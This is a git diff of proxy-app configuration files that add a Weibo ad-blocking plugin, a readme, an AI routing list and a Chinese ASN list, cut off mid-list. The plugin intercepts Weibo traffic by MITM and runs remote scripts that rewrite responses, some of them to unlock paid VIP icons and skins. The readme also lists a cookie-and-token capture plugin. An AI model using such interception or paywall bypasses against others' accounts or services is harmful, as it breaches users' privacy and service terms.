= switch,true,false,tag = 非会员设置皮肤,desc = 非会员设置微博皮肤 +UnlockVipIcons = switch,true,false,tag = 解锁会员图标,desc = 解锁微博会员 APP 图标 + +[Rule] +# 收集用户信息,上传用户日志的请求 +URL-REGEX, ^https?:\/\/api\.weibo\.cn\/2\/(push\/active|client\/addlog_batch|ad\/preload), REJECT-DROP +URL-REGEX, ^https?:\/\/api-cloudim\.api\.weibo\.com\/v1\/log\/, REJECT-DROP + +# 微博开屏广告 +DOMAIN-SUFFIX, biz.weibo.com, REJECT +DOMAIN, bootpreload.uve.weibo.com, REJECT +# 其他广告 +DOMAIN-SUFFIX, fastimage.uve.weibo.com, REJECT +DOMAIN-SUFFIX, adimg.vue.weibo.com, REJECT +DOMAIN-SUFFIX, zymo.mps.weibo.com, REJECT +DOMAIN-SUFFIX, weibomingzi.com, REJECT +DOMAIN-SUFFIX, sdkapp.uve.weibo.com, REJECT +DOMAIN-SUFFIX, promote.biz.weibo.cn, REJECT +DOMAIN-SUFFIX, gw5.push.mcp.weibo.cn, REJECT +DOMAIN-SUFFIX, gw6.push.mcp.weibo.cn, REJECT +DOMAIN-SUFFIX, game.weibo.cn, REJECT +DOMAIN-SUFFIX, adimg.uve.weibo.com, REJECT +DOMAIN-SUFFIX, game.weibo.com, REJECT +DOMAIN-SUFFIX, ads.viber.com, REJECT +DOMAIN-SUFFIX, ads-d.viber.com, REJECT +DOMAIN-SUFFIX, ads.aws.viber.com, REJECT +DOMAIN-SUFFIX, alitui.weibo.com, REJECT +DOMAIN-SUFFIX, dp.im.weibo.cn, REJECT +DOMAIN-SUFFIX, biz.weibo.com.cn, REJECT +DOMAIN-SUFFIX, click.uve.weibo.com, REJECT +DOMAIN-SUFFIX, wax.weibo.com, REJECT +DOMAIN-SUFFIX, wbapp.uve.weibo.com, REJECT +DOMAIN-SUFFIX, widget.weibo.com, REJECT +DOMAIN-SUFFIX, dsp.edm.weibo.cn, REJECT +DOMAIN-SUFFIX, alitui.weibo.com.cn, REJECT +DOMAIN-SUFFIX, tui.weibo.com, REJECT +DOMAIN-SUFFIX, wax.weibo.com.cn, REJECT +DOMAIN-SUFFIX, ad.weibo.com, REJECT +# 屏蔽信息收集 +DOMAIN, datacollection.uve.weibo.com, REJECT +DOMAIN, adpinpai.video.weibocdn.com, REJECT + +[Rewrite] +# 热门视频 | 热推荐 +^https?:\/\/api\.weibo\.c(n|om)\/\d\/(cardlist\?v_f=\d|ad\/weibointl\?) reject-dict +^https?:\/\/weibointl\.api\.weibo\.c(n|om)\/portal\.php\?a=hot_search_users reject-dict +# 私信中绿洲的擦边诱导推广 +^https?:\/\/weibointl\.api\.weibo\.c(n|om)\/portal\.php\?a=treehole&auth= reject-dict +# 屏蔽首页左上角每日的弹窗tips +^https?:\/\/m?api\.weibo\.c(n|om)\/\d/push\/daily reject-dict +# 超话按钮的提示 +^https?:\/\/api\.weibo\.c(n|om)\/2\/!\/huati\/(discovery_home_bottom_getdotinfo|mobile_discovery_searchchange)\? reject-dict +# 开屏广告 +^https?:\/\/bootrealtime\.uve\.weibo\.com\/v\d\/ad\/realtime reject-dict +^https?:\/\/bootpreload\.uve\.weibo\.com\/v\d\/ad\/preload reject-dict +^https?:\/\/sdkapp\.uve\.weibo\.com\/interface\/sdk\/(get-lbs-cell-info\.php|sdkconfig\.php) REJECT +# 微博长文章推广 +^https:\/\/card\.weibo\.com\/article\/m\/aj\/(reward|uvead)\? reject-dict +^https:\/\/weibo\.com\/ttarticle\/x\/m\/aj\/(reward|uvead)\? reject-dict +# 微博 +^https:\/\/api\.weibo\.cn\/2\/!\/huati\/discovery_home_bottom_channels reject-dict +^https:\/\/api\.weibo\.cn\/2\/!\/chaohua\/discovery\/home_bottom\/switch reject-dict +^https:\/\/api\.weibo\.cn\/2\/!\/was\/finder\/searchbarchange\? reject-dict +^https:\/\/api\.weibo\.cn\/2\/logservice\/service\? reject + +[Script] +# 微博移除发现页广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/search\/(finder|container_timeline|container_discover)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博移除发现页广告, enable={RemoveDiscoveryAds} + +# 微博热搜页面广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/(page|flowpage)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博热搜页面广告, enable={RemoveHotSearchAds} + +# 微博话题页面广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/searchall\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博话题页面广告, enable={RemoveTopicAds} + +# 微博超话页面广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_timeline_topicpage\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博超话页面广告, enable={RemoveSuperTopicAds} + +# 微博超话tab页净化 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_timeline_topic\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博超话tab页净化, enable={CleanSuperTopicTab} + +# 微博详情页面广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/extend\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博详情页面广告, enable={RemoveDetailAds} +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_detail\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博详情页面广告, enable={RemoveRepostAds} + +# 微博最顶部的tab页分组 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/groups\/allgroups\/v2 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博最顶部的tab页分组, enable={MainTabFilter} + +# 微博评论区广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/comments\/mix_comments\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博评论区广告, enable={RemoveCommentAds} +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_detail_comment\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博评论区广告, enable={RemoveCommentAds} + +# 微博转发区广告 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_detail_forward\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60, tag=微博转发区广告, enable={RemoveRepostAds} +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/repost_timeline\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_main.js, requires-body=true, timeout=60, tag=微博转发区广告, enable={RemoveRepostAds} + +# 微博去广告以及去除各部分推广模块 - cherish +http-response ^https?:\/\/m?api\.weibo\.c(n|om)/2/(cardlist|searchall|page|messageflow|statuses/(unread_)?friends(/|_)timeline|groups/timeline|statuses/(container_timeline|container_timeline_hot|unread_hot_timeline|extend|video_mixtimeline)|profile/(me|container_timeline)|video/(community_tab|remind_info|tiny_stream_video_list)|checkin/show|\!/live/media_homelist|comments/build_comments|container/get_item) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_main.js, requires-body=true, timeout=60, tag=微博去广告以及去除各部分推广模块, enable={FullAdsCleaner} +http-response ^https?:\/\/(sdk|wb)app\.uve\.weibo\.com(/interface/sdk/sdkad.php|/wbapplua/wbpullad.lua) script-path=https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_launch.js, requires-body=true, timeout=60, tag=微博去广告以及去除各部分推广模块, enable={FullAdsCleaner} + +# 自定义tab皮肤 +http-response ^https?:\/\/m?api\.weibo\.c(n|om)\/2\/!\/client\/light_skin script-path=https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_main.js, requires-body=true, timeout=60, tag=自定义tab皮肤, enable={SetTabSkinWithoutVip} + +# 非会员设置tab皮肤 - cherish +http-response ^https?:\/\/new\.vip\.weibo\.c(n|om)\/littleskin\/preview script-path=https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_main.js, requires-body=true, timeout=60, tag=非会员设置tab皮肤, enable={SetTabSkinWithoutVip} + +# 解锁微博会员APP图标 +http-response ^https?:\/\/new\.vip\.weibo\.c(n|om)\/aj\/appicon\/list script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/weibo/weibo_vip.js, requires-body=true, timeout=60, tag=解锁微博会员APP图标, enable={UnlockVipIcons} + + +[MITM] +# hostname = api.weibo.cn, mapi.weibo.com, *.uve.weibo.com, new.vip.weibo.cn, *api.weibo.cn, sdkapp.uve.weibo.com +hostname = *.weibo.cn, *.weibo.com, weibo.com diff --git a/Loon/readme.md b/Loon/readme.md new file mode 100644 index 00000000..6f517351 --- /dev/null +++ b/Loon/readme.md @@ -0,0 +1,13 @@ + +> 📍 除下方已经转为Loon的配置,你可以借助 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 工具将上方的QX重写和分流添加到Loon中。 + +| # | 配置类型 | 配置名称 | 配置链接 | 作者 | 特别说明 | 使用教程 | +|---|------|--------------------|--------------------------------------------------------------------------------------------------|-------------------------------------|------------------------------------|------| +| # | 插件 | `微博去广告` | [weibo.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/weibo.plugin) | [fmz200](https://github.com/fmz200) | 可能有遗漏 | 暂无 | +| # | 插件 | `去广告合集` | [blockAds.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/blockAds.plugin) | [fmz200](https://github.com/fmz200) | (支持约538款APP/小程序)针对部分APP和小程序广告进行拦截 | 暂无 | +| # | 插件 | `获取cookie&token合集` | [cookies.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/cookies.plugin) | [fmz200](https://github.com/fmz200) | 包含fmz200/NobyDa/chavyleung/Sunert等 | 暂无 | +| # | 脚本 | `Task订阅` | [tasks.scripts](https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tasks.scripts) | [fmz200](https://github.com/fmz200) | 需要先获取cookie或token再运行 | 暂无 | +| # | 脚本 | `工具合集` | [tools.scripts](https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tools.scripts) | [fmz200](https://github.com/fmz200) | 节点测试工具,导入后长按节点使用 | 暂无 | +| # | 规则 | `去广告合集` | [rejectAd.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/rejectAd.list) | [fmz200](https://github.com/fmz200) | 从QX的分流去广告转换而来 | 暂无 | +| # | 规则 | `AI分流规则合集` | [AI.list](https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/AI.list) | [fmz200](https://github.com/fmz200) | 汇集常用的AI模型 | 暂无 | +| # | 规则 | `屏蔽苹果系统更新` | [apple_update.list](https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/apple_update.list) | [fmz200](https://github.com/fmz200) | 无 | 暂无 | diff --git a/Loon/rule/AI.list b/Loon/rule/AI.list new file mode 100644 index 00000000..9ad65ab1 --- /dev/null +++ b/Loon/rule/AI.list @@ -0,0 +1,54 @@ +#!name=AI分流合集 +#!desc=选择支持的地区 +#!author=lodepuly +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/AI.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-05-24 16:42:29 +############################################# + +# ChatGPT +AND, ((DOMAIN-KEYWORD, chatgpt-async-webps-prod-eastus-), (DOMAIN-KEYWORD, .webpubsub.azure.com)) +DOMAIN, chat.openai.com.cdn.cloudflare.net +DOMAIN, o33249.ingest.sentry.io +DOMAIN, openaiapi-site.azureedge.net +DOMAIN, openaicom-api-bdcpf8c6d2e9atf6.z01.azurefd.net +DOMAIN, openaicom.imgix.net +DOMAIN, openaicomproductionae4b.blob.core.windows.net +DOMAIN, production-openaicom-storage.azureedge.net +DOMAIN-SUFFIX, chatgpt.com +DOMAIN-SUFFIX, oaistatic.com +DOMAIN-SUFFIX, oaiusercontent.com +DOMAIN-SUFFIX, openai.com + +# Copilot +DOMAIN, api.githubcopilot.com +DOMAIN, copilot-proxy.githubusercontent.com +DOMAIN, copilot.microsoft.com +DOMAIN, sydney.bing.com +DOMAIN, www.bing.com + +# Gemini +DOMAIN, bard.google.com +DOMAIN, gemini.google.com +DOMAIN, generativelanguage.googleapis.com +DOMAIN, ai.google.dev +DOMAIN, aida.googleapis.com +DOMAIN, aistudio.google.com +DOMAIN, alkalimakersuite-pa.clients6.google.com +DOMAIN, makersuite.google.com + +# Claude +DOMAIN-SUFFIX, anthropic.com +DOMAIN-SUFFIX, claude.ai +IP-CIDR, 160.79.104.0/23, no-resolve +IP-CIDR6, 2607:6bc0::/48, no-resolve + +# JetBrains AI +DOMAIN-SUFFIX, grazie.ai +DOMAIN-SUFFIX, grazie.aws.intellij.net + +# Meta +DOMAIN, imagine.meta.com +DOMAIN-SUFFIX, meta.ai \ No newline at end of file diff --git a/Loon/rule/ASN/ASN-CN.list b/Loon/rule/ASN/ASN-CN.list new file mode 100644 index 00000000..684468ea --- /dev/null +++ b/Loon/rule/ASN/ASN-CN.list @@ -0,0 +1,5149 @@ +#!name=奶思🍒ASN.CN +#!desc=中国地区的ASN,大约5139条,选择你需要分流到的策略组 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/ASN/ASN-CN.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-06-02 15:15:00 +############################################# + +IP-ASN, 144292 +IP-ASN, 144293 +IP-ASN, 144294 +IP-ASN, 144295 +IP-ASN, 144290 +IP-ASN, 200078 +IP-ASN, 144291 +IP-ASN, 144296 +IP-ASN, 144297 +IP-ASN, 144298 +IP-ASN, 144299 +IP-ASN, 144281 +IP-ASN, 144282 +IP-ASN, 144283 +IP-ASN, 144284 +IP-ASN, 144280 +IP-ASN, 144289 +IP-ASN, 149979 +IP-ASN, 144285 +IP-ASN, 144286 +IP-ASN, 144287 +IP-ASN, 144288 +IP-ASN, 144270 +IP-ASN, 144271 +IP-ASN, 144272 +IP-ASN, 144273 +IP-ASN, 144278 +IP-ASN, 144279 +IP-ASN, 144274 +IP-ASN, 144275 +IP-ASN, 144276 +IP-ASN, 144277 +IP-ASN, 216405 +IP-ASN, 145590 +IP-ASN, 145591 +IP-ASN, 144260 +IP-ASN, 145592 +IP-ASN, 144261 +IP-ASN, 145593 +IP-ASN, 144262 +IP-ASN, 145598 +IP-ASN, 144267 +IP-ASN, 145599 +IP-ASN, 144268 +IP-ASN, 144269 +IP-ASN, 145594 +IP-ASN, 144263 +IP-ASN, 145595 +IP-ASN, 144264 +IP-ASN, 145596 +IP-ASN, 144265 +IP-ASN, 145597 +IP-ASN, 144266 +IP-ASN, 58336 +IP-ASN, 138407 +IP-ASN, 63701 +IP-ASN, 140726 +IP-ASN, 63704 +IP-ASN, 146031 +IP-ASN, 146030 +IP-ASN, 152711 +IP-ASN, 146033 +IP-ASN, 146032 +IP-ASN, 138409 +IP-ASN, 146039 +IP-ASN, 23650 +IP-ASN, 146038 +IP-ASN, 146035 +IP-ASN, 146034 +IP-ASN, 146037 +IP-ASN, 146036 +IP-ASN, 140731 +IP-ASN, 63708 +IP-ASN, 140717 +IP-ASN, 140716 +IP-ASN, 139742 +IP-ASN, 146020 +IP-ASN, 139743 +IP-ASN, 146022 +IP-ASN, 146021 +IP-ASN, 60666 +IP-ASN, 146028 +IP-ASN, 146027 +IP-ASN, 45057 +IP-ASN, 146029 +IP-ASN, 146024 +IP-ASN, 146023 +IP-ASN, 146026 +IP-ASN, 146025 +IP-ASN, 63722 +IP-ASN, 4611 +IP-ASN, 140707 +IP-ASN, 135357 +IP-ASN, 63727 +IP-ASN, 140709 +IP-ASN, 146011 +IP-ASN, 146010 +IP-ASN, 45058 +IP-ASN, 146017 +IP-ASN, 146016 +IP-ASN, 146019 +IP-ASN, 146018 +IP-ASN, 45061 +IP-ASN, 146013 +IP-ASN, 45062 +IP-ASN, 146012 +IP-ASN, 146015 +IP-ASN, 45064 +IP-ASN, 146014 +IP-ASN, 63718 +IP-ASN, 139721 +IP-ASN, 146000 +IP-ASN, 139726 +IP-ASN, 146006 +IP-ASN, 200021 +IP-ASN, 146005 +IP-ASN, 146008 +IP-ASN, 45079 +IP-ASN, 146007 +IP-ASN, 146002 +IP-ASN, 45073 +IP-ASN, 146001 +IP-ASN, 45074 +IP-ASN, 146004 +IP-ASN, 45075 +IP-ASN, 146003 +IP-ASN, 63719 +IP-ASN, 135363 +IP-ASN, 45071 +IP-ASN, 146009 +IP-ASN, 132225 +IP-ASN, 133555 +IP-ASN, 200912 +IP-ASN, 24141 +IP-ASN, 24143 +IP-ASN, 24144 +IP-ASN, 145543 +IP-ASN, 144212 +IP-ASN, 24137 +IP-ASN, 145544 +IP-ASN, 144213 +IP-ASN, 24138 +IP-ASN, 145545 +IP-ASN, 144214 +IP-ASN, 24139 +IP-ASN, 145546 +IP-ASN, 144215 +IP-ASN, 145540 +IP-ASN, 145541 +IP-ASN, 144210 +IP-ASN, 145542 +IP-ASN, 144211 +IP-ASN, 145547 +IP-ASN, 144216 +IP-ASN, 145548 +IP-ASN, 144217 +IP-ASN, 145549 +IP-ASN, 144218 +IP-ASN, 144219 +IP-ASN, 199392 +IP-ASN, 208872 +IP-ASN, 24134 +IP-ASN, 145532 +IP-ASN, 144201 +IP-ASN, 145533 +IP-ASN, 144202 +IP-ASN, 145534 +IP-ASN, 144203 +IP-ASN, 141172 +IP-ASN, 145535 +IP-ASN, 144204 +IP-ASN, 145530 +IP-ASN, 145531 +IP-ASN, 144200 +IP-ASN, 144209 +IP-ASN, 145536 +IP-ASN, 144205 +IP-ASN, 145537 +IP-ASN, 144206 +IP-ASN, 145538 +IP-ASN, 144207 +IP-ASN, 145539 +IP-ASN, 144208 +IP-ASN, 132203 +IP-ASN, 145521 +IP-ASN, 145522 +IP-ASN, 145523 +IP-ASN, 145524 +IP-ASN, 145520 +IP-ASN, 145529 +IP-ASN, 145525 +IP-ASN, 145526 +IP-ASN, 145527 +IP-ASN, 145528 +IP-ASN, 17816 +IP-ASN, 146842 +IP-ASN, 145510 +IP-ASN, 146841 +IP-ASN, 145511 +IP-ASN, 145512 +IP-ASN, 145513 +IP-ASN, 145518 +IP-ASN, 145519 +IP-ASN, 145514 +IP-ASN, 145515 +IP-ASN, 145516 +IP-ASN, 145517 +IP-ASN, 145580 +IP-ASN, 145581 +IP-ASN, 144250 +IP-ASN, 145582 +IP-ASN, 144251 +IP-ASN, 145587 +IP-ASN, 144256 +IP-ASN, 145588 +IP-ASN, 144257 +IP-ASN, 145589 +IP-ASN, 144258 +IP-ASN, 144259 +IP-ASN, 145583 +IP-ASN, 144252 +IP-ASN, 145584 +IP-ASN, 144253 +IP-ASN, 145585 +IP-ASN, 144254 +IP-ASN, 145586 +IP-ASN, 144255 +IP-ASN, 145570 +IP-ASN, 145571 +IP-ASN, 144240 +IP-ASN, 208830 +IP-ASN, 145576 +IP-ASN, 144245 +IP-ASN, 145577 +IP-ASN, 144246 +IP-ASN, 145578 +IP-ASN, 144247 +IP-ASN, 145579 +IP-ASN, 144248 +IP-ASN, 145572 +IP-ASN, 144241 +IP-ASN, 145573 +IP-ASN, 144242 +IP-ASN, 145574 +IP-ASN, 144243 +IP-ASN, 145575 +IP-ASN, 144244 +IP-ASN, 198025 +IP-ASN, 144249 +IP-ASN, 145560 +IP-ASN, 205794 +IP-ASN, 145565 +IP-ASN, 144234 +IP-ASN, 145566 +IP-ASN, 144235 +IP-ASN, 145567 +IP-ASN, 144236 +IP-ASN, 145568 +IP-ASN, 144237 +IP-ASN, 145561 +IP-ASN, 144230 +IP-ASN, 145562 +IP-ASN, 144231 +IP-ASN, 145563 +IP-ASN, 144232 +IP-ASN, 145564 +IP-ASN, 144233 +IP-ASN, 145569 +IP-ASN, 144238 +IP-ASN, 144239 +IP-ASN, 145554 +IP-ASN, 144223 +IP-ASN, 145555 +IP-ASN, 144224 +IP-ASN, 145556 +IP-ASN, 144225 +IP-ASN, 145557 +IP-ASN, 144226 +IP-ASN, 145550 +IP-ASN, 145551 +IP-ASN, 144220 +IP-ASN, 145552 +IP-ASN, 144221 +IP-ASN, 145553 +IP-ASN, 144222 +IP-ASN, 145558 +IP-ASN, 144227 +IP-ASN, 215105 +IP-ASN, 145559 +IP-ASN, 144228 +IP-ASN, 144229 +IP-ASN, 150173 +IP-ASN, 9405 +IP-ASN, 143881 +IP-ASN, 143880 +IP-ASN, 209218 +IP-ASN, 143885 +IP-ASN, 142554 +IP-ASN, 143884 +IP-ASN, 142553 +IP-ASN, 143883 +IP-ASN, 143882 +IP-ASN, 142551 +IP-ASN, 143889 +IP-ASN, 9401 +IP-ASN, 143888 +IP-ASN, 143887 +IP-ASN, 143886 +IP-ASN, 151490 +IP-ASN, 151493 +IP-ASN, 151494 +IP-ASN, 150166 +IP-ASN, 149178 +IP-ASN, 63695 +IP-ASN, 63696 +IP-ASN, 63697 +IP-ASN, 143870 +IP-ASN, 199436 +IP-ASN, 143874 +IP-ASN, 143873 +IP-ASN, 143872 +IP-ASN, 143871 +IP-ASN, 143878 +IP-ASN, 143877 +IP-ASN, 143876 +IP-ASN, 143875 +IP-ASN, 142549 +IP-ASN, 143879 +IP-ASN, 151483 +IP-ASN, 9425 +IP-ASN, 200853 +IP-ASN, 149163 +IP-ASN, 143863 +IP-ASN, 143862 +IP-ASN, 143861 +IP-ASN, 143860 +IP-ASN, 143867 +IP-ASN, 143866 +IP-ASN, 143865 +IP-ASN, 143864 +IP-ASN, 17799 +IP-ASN, 143869 +IP-ASN, 143868 +IP-ASN, 150141 +IP-ASN, 150145 +IP-ASN, 143852 +IP-ASN, 143851 +IP-ASN, 143850 +IP-ASN, 143856 +IP-ASN, 143855 +IP-ASN, 143854 +IP-ASN, 17781 +IP-ASN, 143853 +IP-ASN, 143859 +IP-ASN, 143858 +IP-ASN, 143857 +IP-ASN, 145620 +IP-ASN, 145621 +IP-ASN, 145622 +IP-ASN, 145623 +IP-ASN, 199406 +IP-ASN, 145628 +IP-ASN, 145629 +IP-ASN, 145624 +IP-ASN, 17776 +IP-ASN, 145625 +IP-ASN, 17775 +IP-ASN, 145626 +IP-ASN, 145627 +IP-ASN, 145610 +IP-ASN, 145611 +IP-ASN, 145612 +IP-ASN, 142586 +IP-ASN, 145617 +IP-ASN, 145618 +IP-ASN, 145619 +IP-ASN, 145613 +IP-ASN, 145614 +IP-ASN, 145615 +IP-ASN, 145616 +IP-ASN, 145600 +IP-ASN, 145601 +IP-ASN, 145606 +IP-ASN, 145607 +IP-ASN, 145608 +IP-ASN, 145609 +IP-ASN, 145602 +IP-ASN, 145603 +IP-ASN, 145604 +IP-ASN, 200809 +IP-ASN, 145605 +IP-ASN, 150184 +IP-ASN, 17739 +IP-ASN, 203083 +IP-ASN, 143892 +IP-ASN, 143891 +IP-ASN, 143890 +IP-ASN, 143896 +IP-ASN, 143895 +IP-ASN, 143894 +IP-ASN, 143893 +IP-ASN, 143899 +IP-ASN, 143898 +IP-ASN, 143897 +IP-ASN, 63629 +IP-ASN, 209294 +IP-ASN, 146075 +IP-ASN, 146074 +IP-ASN, 146077 +IP-ASN, 146076 +IP-ASN, 146071 +IP-ASN, 63620 +IP-ASN, 146070 +IP-ASN, 63621 +IP-ASN, 146073 +IP-ASN, 146072 +IP-ASN, 151418 +IP-ASN, 146079 +IP-ASN, 146078 +IP-ASN, 143801 +IP-ASN, 143800 +IP-ASN, 138442 +IP-ASN, 138441 +IP-ASN, 143805 +IP-ASN, 143804 +IP-ASN, 143803 +IP-ASN, 143802 +IP-ASN, 63612 +IP-ASN, 63614 +IP-ASN, 63615 +IP-ASN, 63617 +IP-ASN, 138457 +IP-ASN, 63619 +IP-ASN, 146064 +IP-ASN, 146063 +IP-ASN, 146066 +IP-ASN, 146065 +IP-ASN, 146060 +IP-ASN, 151416 +IP-ASN, 146062 +IP-ASN, 146061 +IP-ASN, 146068 +IP-ASN, 146067 +IP-ASN, 215969 +IP-ASN, 146069 +IP-ASN, 18257 +IP-ASN, 63646 +IP-ASN, 63647 +IP-ASN, 63648 +IP-ASN, 146053 +IP-ASN, 146052 +IP-ASN, 146055 +IP-ASN, 146054 +IP-ASN, 63641 +IP-ASN, 146051 +IP-ASN, 146050 +IP-ASN, 18242 +IP-ASN, 146057 +IP-ASN, 18241 +IP-ASN, 146056 +IP-ASN, 146059 +IP-ASN, 146058 +IP-ASN, 138421 +IP-ASN, 7641 +IP-ASN, 18245 +IP-ASN, 18244 +IP-ASN, 7640 +IP-ASN, 63634 +IP-ASN, 138436 +IP-ASN, 209261 +IP-ASN, 146042 +IP-ASN, 146041 +IP-ASN, 146044 +IP-ASN, 139767 +IP-ASN, 146043 +IP-ASN, 63631 +IP-ASN, 146040 +IP-ASN, 146049 +IP-ASN, 146046 +IP-ASN, 146045 +IP-ASN, 146048 +IP-ASN, 146047 +IP-ASN, 7653 +IP-ASN, 18239 +IP-ASN, 211571 +IP-ASN, 143839 +IP-ASN, 151464 +IP-ASN, 63663 +IP-ASN, 197626 +IP-ASN, 143841 +IP-ASN, 143840 +IP-ASN, 143845 +IP-ASN, 143844 +IP-ASN, 143843 +IP-ASN, 143842 +IP-ASN, 143849 +IP-ASN, 143848 +IP-ASN, 143847 +IP-ASN, 143846 +IP-ASN, 143829 +IP-ASN, 143828 +IP-ASN, 63654 +IP-ASN, 63655 +IP-ASN, 143830 +IP-ASN, 143834 +IP-ASN, 143833 +IP-ASN, 143832 +IP-ASN, 143831 +IP-ASN, 143838 +IP-ASN, 143837 +IP-ASN, 143836 +IP-ASN, 143835 +IP-ASN, 63689 +IP-ASN, 143819 +IP-ASN, 146091 +IP-ASN, 143818 +IP-ASN, 146090 +IP-ASN, 143817 +IP-ASN, 146097 +IP-ASN, 146096 +IP-ASN, 139799 +IP-ASN, 200895 +IP-ASN, 146099 +IP-ASN, 146098 +IP-ASN, 7609 +IP-ASN, 146093 +IP-ASN, 146092 +IP-ASN, 146095 +IP-ASN, 146094 +IP-ASN, 200890 +IP-ASN, 139791 +IP-ASN, 63690 +IP-ASN, 139796 +IP-ASN, 143823 +IP-ASN, 143822 +IP-ASN, 143821 +IP-ASN, 143820 +IP-ASN, 143827 +IP-ASN, 143826 +IP-ASN, 143825 +IP-ASN, 143824 +IP-ASN, 143809 +IP-ASN, 143808 +IP-ASN, 146080 +IP-ASN, 143807 +IP-ASN, 143806 +IP-ASN, 146086 +IP-ASN, 146085 +IP-ASN, 146088 +IP-ASN, 63673 +IP-ASN, 146087 +IP-ASN, 146082 +IP-ASN, 146081 +IP-ASN, 146084 +IP-ASN, 146083 +IP-ASN, 146089 +IP-ASN, 143812 +IP-ASN, 143811 +IP-ASN, 143810 +IP-ASN, 143816 +IP-ASN, 143815 +IP-ASN, 143814 +IP-ASN, 143813 +IP-ASN, 144171 +IP-ASN, 144172 +IP-ASN, 144173 +IP-ASN, 144174 +IP-ASN, 205651 +IP-ASN, 144170 +IP-ASN, 144179 +IP-ASN, 144175 +IP-ASN, 144176 +IP-ASN, 144177 +IP-ASN, 144178 +IP-ASN, 216305 +IP-ASN, 145491 +IP-ASN, 144160 +IP-ASN, 145492 +IP-ASN, 144161 +IP-ASN, 145493 +IP-ASN, 144162 +IP-ASN, 145494 +IP-ASN, 144163 +IP-ASN, 145490 +IP-ASN, 145499 +IP-ASN, 144168 +IP-ASN, 144169 +IP-ASN, 145495 +IP-ASN, 144164 +IP-ASN, 145496 +IP-ASN, 144165 +IP-ASN, 145497 +IP-ASN, 144166 +IP-ASN, 145498 +IP-ASN, 144167 +IP-ASN, 137882 +IP-ASN, 145480 +IP-ASN, 145481 +IP-ASN, 144150 +IP-ASN, 145482 +IP-ASN, 144151 +IP-ASN, 145483 +IP-ASN, 144152 +IP-ASN, 145488 +IP-ASN, 144157 +IP-ASN, 145489 +IP-ASN, 144158 +IP-ASN, 144159 +IP-ASN, 205634 +IP-ASN, 145484 +IP-ASN, 144153 +IP-ASN, 145485 +IP-ASN, 144154 +IP-ASN, 145486 +IP-ASN, 144155 +IP-ASN, 145487 +IP-ASN, 144156 +IP-ASN, 133492 +IP-ASN, 136535 +IP-ASN, 4789 +IP-ASN, 145470 +IP-ASN, 145471 +IP-ASN, 144140 +IP-ASN, 145472 +IP-ASN, 144141 +IP-ASN, 145477 +IP-ASN, 144146 +IP-ASN, 145478 +IP-ASN, 144147 +IP-ASN, 145479 +IP-ASN, 144148 +IP-ASN, 144149 +IP-ASN, 145473 +IP-ASN, 144142 +IP-ASN, 145474 +IP-ASN, 144143 +IP-ASN, 145475 +IP-ASN, 144144 +IP-ASN, 145476 +IP-ASN, 144145 +IP-ASN, 149837 +IP-ASN, 10212 +IP-ASN, 205610 +IP-ASN, 